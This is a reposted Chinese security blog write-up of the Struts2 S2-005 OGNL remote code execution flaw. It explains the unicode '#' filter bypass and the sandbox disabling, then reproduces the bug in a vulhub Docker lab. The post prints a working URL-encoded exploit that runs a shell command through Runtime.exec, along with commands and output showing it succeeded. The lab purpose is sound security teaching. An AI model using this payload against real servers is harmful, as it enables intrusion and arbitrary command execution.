S2-005远程代码执行漏洞

admin 2025年1月25日02:08:21评论9 views字数 1539阅读5分7秒阅读模式

S2-005远程代码执行漏洞

漏洞发现

通过网页后缀来发现是否为xxx.doxxx.action,有的需要抓包看提交的请求链接是否存在以上两种情况,有的是在返回的链接上。

漏洞成因

服务器使用OGNL表达式%{value}解析每个请求参数名。OGNL表达式通过#来访问struts的对象,struts框架通过过滤#字符防止安全问题,然而通过unicode编码(u0023)或8进制(43)即绕过了安全限制。在S2-003中,Struts会将HTTP的每个参数名解析为OGNL语句执行(可以理解为Java代码), 例如:XWork会将GET参数的键和值利用OGNL表达式解析成Java语句,如:

user.address.city=Bishkek&user['favoriteDrink']=kumys //会被转化成action.getUser().getAddress().setCity("Bishkek")  action.getUser().setFavoriteDrink("kumys")

官方对003的修复方法是增加了安全模式(沙盒),S2-005在OGNL表达式中将安全模式关闭,又绕过了修复方法。整体过程如下:

  • S2-003 使用u0023绕过s2对#的防御
  • S2-003 后官方增加了安全模式(沙盒)
  • S2-005 使用OGNL表达式将沙盒关闭,继续执行代码

漏洞利用

环境准备

名称
IP
攻击机
192.168.75.159
靶机
192.168.75.146

首先输入以下命令进入vulhub里启动靶场,然后在攻击机里访问http://192.168.75.146:8080即可

cd vulhub-master/struts2/s2-005docker-compose up -d
S2-005远程代码执行漏洞
image-20220712164115895

看到如上界面便是启动成功了。

漏洞复现

在Get请求Url中拼凑下方的Poc,该Poc是在tmp目录下创建一个success文件。

?(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22touch@/tmp/success%22.split(%22@%22))')(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))=1

然后去靶机查看是否成功创建success文件,操作如下:

docker ps

CONTAINER ID   IMAGE            COMMAND             CREATED         STATUS         PORTS                                       NAMES f958634c2dbe   s2-005_struts2   "catalina.sh run"   4 seconds ago   Up 4 seconds   0.0.0.0:8080->8080/tcp, :::8080->8080/tcp   s2-005_struts2_1

docker exec -it f958634c2dbe /bin/bashls /tmp

hsperfdata_root  success

看到如上回显便是成功利用了该漏洞

原文始发于微信公众号(0xh4ck3r):S2-005远程代码执行漏洞

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月25日02:08:21
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   S2-005远程代码执行漏洞https://cn-sec.com/archives/3670206.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息